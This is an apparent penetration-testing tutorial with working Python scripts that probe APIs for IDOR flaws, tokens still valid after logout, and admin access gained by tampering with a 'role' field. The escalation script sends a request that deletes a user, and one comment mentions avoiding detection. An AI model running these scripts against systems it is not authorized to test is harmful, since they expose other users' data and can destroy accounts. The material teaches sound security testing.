Crafting Python Scripts for Automated API Authentication Bypass Testing

Automating API authentication bypass testing with Python shifts the engagement from tedious manual enumeration to scalable, programmatic vulnerability discovery. This approach allows security engineers to rapidly identify weaknesses in authentication and authorization mechanisms across a multitude of API endpoints, leveraging the flexibility of scripting to probe for common bypass vectors like insecure direct object references (IDORs), session manipulation, and privilege escalation through parameter tampering. Rather than relying solely on proxy tools for manual observation, Python scripts enable the consistent application of test cases, iterating through parameters, user IDs, and session tokens to uncover subtle authorization flaws that might be missed in ad-hoc testing.

Understanding API Authentication Bypass Vectors

Before scripting, a clear understanding of prevalent API authentication bypasses is crucial. These often stem from logical flaws in how an API validates user permissions or session integrity. Identifying the specific authentication mechanism (e.g., JWT, OAuth 2.0, API Keys, session cookies) is the first step, typically observed during initial reconnaissance with tools like Burp Suite or Postman.

Insecure Direct Object Reference (IDOR)

IDORs frequently manifest in APIs where an object's identifier (like a user ID, order ID, or document ID) is directly exposed in the URL path or query parameters. By simply modifying this identifier, an unauthorized user might gain access to resources belonging to another user.

Consider an endpoint like GET /api/v1/users/{user_id}/profile. If an authenticated user with user_id=123 can successfully retrieve the profile for user_id=124 by changing the URL parameter, an IDOR exists. The application fails to verify if the requesting user is authorized to access the specific resource.

Session Management Flaws

Broken session management can lead to authentication bypasses if session tokens are not properly invalidated, are predictable, or are vulnerable to fixation. Testing for session invalidation post-logout, or after password changes, is critical. Reusing a session token after a user explicitly logs out should result in an unauthorized response (e.g., HTTP 401 or 403).

Privilege Escalation via Parameter Tampering

APIs that handle user roles or permissions in request parameters are susceptible to privilege escalation. An attacker might intercept a request, modify a parameter like "role": "user" to "role": "admin", and submit it, potentially gaining elevated access. This often requires observing API calls where user roles or permissions are explicitly passed in the request body or query string.

Python's Role: The `requests` Library

Python's requests library is the cornerstone for crafting automated API tests. It simplifies HTTP requests, allowing testers to send GET, POST, PUT, DELETE, and other methods with ease, manipulate headers, cookies, and JSON payloads. For handling API responses, the built-in json module is invaluable for parsing JSON data.


import requests
import json

# Example: Basic GET request with headers
def make_authenticated_request(url, token, method='GET', data=None):
    headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'
    }
    
    try:
        if method.upper() == 'GET':
            response = requests.get(url, headers=headers, timeout=10)
        elif method.upper() == 'POST':
            response = requests.post(url, headers=headers, json=data, timeout=10)
        # Add other methods like PUT, DELETE as needed
        
        response.raise_for_status() # Raise HTTPError for bad responses (4xx or 5xx)
        return response
    except requests.exceptions.HTTPError as e:
        print(f"HTTP Error: {e.response.status_code} - {e.response.text}")
        return e.response
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
        return None

# --- Usage Example (requires an actual token and URL) ---
# TARGET_URL = "https://api.example.com/sensitive_data"
# AUTH_TOKEN = "your_jwt_or_session_token_here"

# resp = make_authenticated_request(TARGET_URL, AUTH_TOKEN)
# if resp and resp.status_code == 200:
#     print(json.dumps(resp.json(), indent=2))

Scenario 1: Automating IDOR Detection

This script focuses on iterating through potential IDs, leveraging an authenticated session to check for unauthorized access to other users' resources.

Initial Reconnaissance (Burp Suite)

Before scripting, capture a legitimate request to a resource you own. For instance, if logged in as user_id=123, access your profile via GET /api/v1/users/123/profile. Observe the request headers (especially authentication tokens like Authorization or Cookie) and the response structure. Identify the parameter that corresponds to the user ID.

Example Burp Repeater Request:


GET /api/v1/users/123/profile HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: application/json

Now, manually change 123 to 124 and observe if the response returns data for user_id=124 or an authorization error (e.g., 401, 403).

Python Script for IDOR Enumeration

The following script iterates through a range of user IDs, attempting to retrieve profiles while authenticated as a different (lower-privileged) user. It checks for successful responses (e.g., HTTP 200 OK) that shouldn't be accessible.


import requests
import json
import time

# Configuration
BASE_URL = "https://api.example.com/api/v1/users/"
AUTH_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjMiLCJuYW1lIjoiSm9obiBEb2UiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" # Token for user_id 123
TARGET_USER_ID_RANGE = range(1, 20) # Test user IDs from 1 to 19
# Current user ID associated with AUTH_TOKEN to avoid self-detection
CURRENT_USER_ID = 123 
DELAY_SECONDS = 0.5 # To avoid rate limiting

def test_idor_bypass():
    print(f"[*] Starting IDOR bypass test for {BASE_URL} with token for user {CURRENT_USER_ID}")
    
    headers = {
        'Authorization': f'Bearer {AUTH_TOKEN}',
        'Content-Type': 'application/json',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'
    }

    vulnerable_ids = []

    for target_id in TARGET_USER_ID_RANGE:
        if target_id == CURRENT_USER_ID:
            continue # Skip testing the current user's own ID
            
        endpoint = f"{BASE_URL}{target_id}/profile"
        print(f"[+] Testing {endpoint}...")
        
        try:
            response = requests.get(endpoint, headers=headers, timeout=5)
            
            if response.status_code == 200:
                # Heuristic: Check if the response body contains data for the target_id
                # This often involves parsing JSON and checking an 'id' field
                response_json = response.json()
                
                # A common pattern: if the 'id' field in the response matches the 'target_id'
                # and it's not the CURRENT_USER_ID, it's a potential bypass.
                if 'id' in response_json and response_json['id'] == target_id:
                    print(f"[!!!] POTENTIAL IDOR: Accessed data for user ID {target_id} while authenticated as {CURRENT_USER_ID}")
                    print(f"      Response: {json.dumps(response_json, indent=2)}")
                    vulnerable_ids.append(target_id)
                elif 'error' not in response_json and 'message' not in response_json.values():
                    # More generic check for unexpected success
                    print(f"[!] Possible IDOR: Unexpected 200 OK for {target_id}. Review response manually.")
                    print(f"    Response: {json.dumps(response_json, indent=2)}")
                    vulnerable_ids.append(target_id)
            elif response.status_code == 401 or response.status_code == 403:
                # Expected behavior: Unauthorized or Forbidden
                print(f"[-] Correctly denied access to {target_id} (Status: {response.status_code})")
            else:
                print(f"[?] Unexpected status code {response.status_code} for {target_id}. Response: {response.text[:100]}...")

        except requests.exceptions.RequestException as e:
            print(f"[!] Error accessing {endpoint}: {e}")
        
        time.sleep(DELAY_SECONDS) # Respect rate limits and avoid detection

    if vulnerable_ids:
        print(f"\n[!!!] Found IDOR vulnerabilities for user IDs: {vulnerable_ids}")
    else:
        print("\n[*] No explicit IDOR vulnerabilities found in the specified range.")

if __name__ == "__main__":
    test_idor_bypass()

Scenario 2: Testing Session Invalidation Post-Logout

This test ensures that once a user logs out, their session token (e.g., a JWT in an Authorization header or a session cookie) is no longer valid for accessing protected resources. The script simulates a login, captures the token, performs a logout, and then attempts to use the old token.

Manual Steps

1. Log into the application and capture the session token/cookie. 2. Log out of the application. 3. Using a tool like `curl` or Burp Repeater, attempt to use the captured token to access a protected resource. An ideal outcome is a 401 (Unauthorized) or 403 (Forbidden) response.


# Example: Use curl to test an old token after logout
# 1. Capture token (e.g., from browser developer tools or Burp)
# AUTH_TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # The token captured BEFORE logout

# 2. Perform logout (e.g., via application UI or a logout API call)

# 3. Test the old token
curl -X GET "https://api.example.com/api/v1/protected_resource" \
     -H "Authorization: Bearer ${AUTH_TOKEN}" \
     -H "User-Agent: curl/7.64.1"

Python Script for Session Invalidation

This script simulates the entire flow: login, capture token, logout, and re-test with the old token. This is a common pattern for automated session management testing.


import requests
import json

# Configuration
LOGIN_URL = "https://api.example.com/api/v1/auth/login"
LOGOUT_URL = "https://api.example.com/api/v1/auth/logout"
PROTECTED_RESOURCE_URL = "https://api.example.com/api/v1/protected_data"

USERNAME = "[email protected]"
PASSWORD = "StrongPassword123!"

def authenticate_user(username, password):
    print(f"[*] Attempting to log in as {username}...")
    login_payload = {
        "email": username,
        "password": password
    }
    headers = {'Content-Type': 'application/json'}
    try:
        response = requests.post(LOGIN_URL, json=login_payload, headers=headers, timeout=10)
        response.raise_for_status()
        
        response_data = response.json()
        token = response_data.get('token') # Assuming API returns a 'token' field
        
        if token:
            print("[+] Login successful. Token retrieved.")
            return token
        else:
            print(f"[-] Login successful but no token found in response: {response.text}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Login failed: {e}")
        return None

def logout_user(token):
    print("[*] Attempting to log out...")
    headers = {'Authorization': f'Bearer {token}'}
    try:
        response = requests.post(LOGOUT_URL, headers=headers, timeout=10)
        # Logouts often return 200 OK or 204 No Content
        if response.status_code == 200 or response.status_code == 204:
            print("[+] Logout initiated successfully.")
            return True
        else:
            print(f"[-] Logout failed with status {response.status_code}: {response.text}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] Logout request failed: {e}")
        return False

def test_token_validity(token, url):
    print(f"[*] Testing validity of token against {url}...")
    headers = {
        'Authorization': f'Bearer {token}',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36'
    }
    try:
        response = requests.get(url, headers=headers, timeout=10)
        print(f"    Status Code: {response.status_code}")
        print(f"    Response Preview: {response.text[:200]}...")
        return response.status_code
    except requests.exceptions.RequestException as e:
        print(f"    Request failed: {e}")
        return None

def main():
    initial_token = authenticate_user(USERNAME, PASSWORD)
    
    if initial_token:
        print("\n[*] First test: Accessing protected resource with valid token.")
        status_before_logout = test_token_validity(initial_token, PROTECTED_RESOURCE_URL)
        if status_before_logout == 200:
            print("[+] Successfully accessed protected resource before logout (expected).")
        else:
            print("[-] Failed to access protected resource before logout (unexpected).")
            return # Abort if initial access fails
        
        # Now, attempt to log out
        logout_success = logout_user(initial_token)
        
        if logout_success:
            print("\n[*] Second test: Accessing protected resource with the *same* token after logout.")
            status_after_logout = test_token_validity(initial_token, PROTECTED_RESOURCE_URL)
            
            if status_after_logout == 401 or status_after_logout == 403:
                print("[+] Token successfully invalidated after logout (expected behavior).")
            elif status_after_logout == 200:
                print("[!!!] VULNERABILITY: Token is still valid after logout. Session not invalidated.")
            else:
                print(f"[?] Unexpected status {status_after_logout} after logout. Investigate manually.")
        else:
            print("[-] Logout failed, cannot proceed with post-logout token validity test.")
    else:
        print("[-] Initial authentication failed, cannot proceed with session invalidation test.")

if __name__ == "__main__":
    main()

Scenario 3: Privilege Escalation by Parameter Tampering

This technique involves modifying parameters in API requests to elevate privileges. Often, applications send user roles or permission flags in JSON bodies or form data. If the server trusts these client-side inputs without proper server-side validation, an attacker can modify them.

Manual Reconnaissance

Intercept requests where user data is created, updated, or where actions are performed that might involve role assignment. A common example is a user registration API or an API to update a user's profile. Look for parameters like "role", "isAdmin", "privileges", or similar. Try changing a low-privileged value to a high-privileged one (e.g., "role": "user" to "role": "admin").

Python Script for Role Tampering

The following script attempts to create a new user or update an existing user's role by injecting an "admin" role, then attempts an admin-only action with the newly created/updated user's token.


import requests
import json
import uuid # For unique emails

# Configuration
CREATE_USER_URL = "https://api.example.com/api/v1/users"
ADMIN_ACTION_URL = "https://api.example.com/api/v1/admin/delete_user" # An endpoint only admins should access
VALID_ADMIN_TOKEN = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlhdCI6MTUxNjIzOTAyMn0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" # A known good admin token for comparison

def register_user_with_role(email, password, role="user"):
    print(f"[*] Attempting to register user {email} with role: {role}...")
    payload = {
        "email": email,
        "password": password,
        "role": role # The parameter to tamper
    }
    headers = {'Content-Type': 'application/json'}
    try:
        response = requests.post(CREATE_USER_URL, json=payload, headers=headers, timeout=10)
        response_data = response.json()
        
        if response.status_code == 201 or response.status_code == 200:
            print(f"[+] User {email} registration response: {response.status_code}")
            return response_data.get('token') # Assuming token returned on registration
        else:
            print(f"[-] User {email} registration failed with status {response.status_code}: {response.text}")
            return None
    except requests.exceptions.RequestException as e:
        print(f"[-] Registration request failed: {e}")
        return None

def perform_admin_action(token, target_user_id):
    print(f"[*] Attempting admin action with token...")
    headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json'
    }
    payload = {"user_id_to_delete": target_user_id} # Example admin action payload
    
    try:
        response = requests.delete(ADMIN_ACTION_URL, headers=headers, json=payload, timeout=10)
        print(f"    Admin action status: {response.status_code}")
        print(f"    Response: {response.text[:200]}...")
        return response.status_code
    except requests.exceptions.RequestException as e:
        print(f"    Admin action request failed: {e}")
        return None

def main():
    test_email_base = f"privesc_test_{uuid.uuid4().hex[:8]}"
    test_password = "SecurePassword456!"
    
    # Step 1: Attempt to register a user with an 'admin' role directly
    admin_attempt_email = f"{test_email_base}@example.com"
    tampered_admin_token = register_user_with_role(admin_attempt_email, test_password, role="admin")
    
    if tampered_admin_token:
        print("\n[!] Attempting to perform admin action with the potentially tampered 'admin' token.")
        # Assuming the API provides a user ID for the newly registered user in the token or response
        # For simplicity, let's assume 'delete_user' on a target ID (e.g., user '1')
        admin_action_status = perform_admin_action(tampered_admin_token, target_user_id=1) # Target any non-admin user
        
        if admin_action_status == 200 or admin_action_status == 204:
            print("[!!!] VULNERABILITY: Successfully performed admin action with tampered 'admin' role token!")
            print(f"      User {admin_attempt_email} registered as admin via parameter tampering.")
        elif admin_action_status == 401 or admin_action_status == 403:
            print("[+] Correctly denied admin action with tampered token (expected behavior).")
        else:
            print(f"[?] Unexpected status {admin_action_status} for admin action with tampered token.")
    else:
        print("[-] Could not get a token for the tampered admin user registration, skipping admin action test.")

    print("\n--- Comparing with a legitimate admin token for baseline ---")
    if VALID_ADMIN_TOKEN and ADMIN_ACTION_URL:
        baseline_admin_action_status = perform_admin_action(VALID_ADMIN_TOKEN, target_user_id=1)
        if baseline_admin_action_status == 200 or baseline_admin_action_status == 204:
            print("[+] Legitimate admin token successfully performed admin action (baseline confirmed).")
        else:
            print("[-] Legitimate admin token failed to perform admin action (unexpected baseline failure).")
    else:
        print("[-] VALID_ADMIN_TOKEN or ADMIN_ACTION_URL not configured for baseline comparison.")

if __name__ == "__main__":
    main()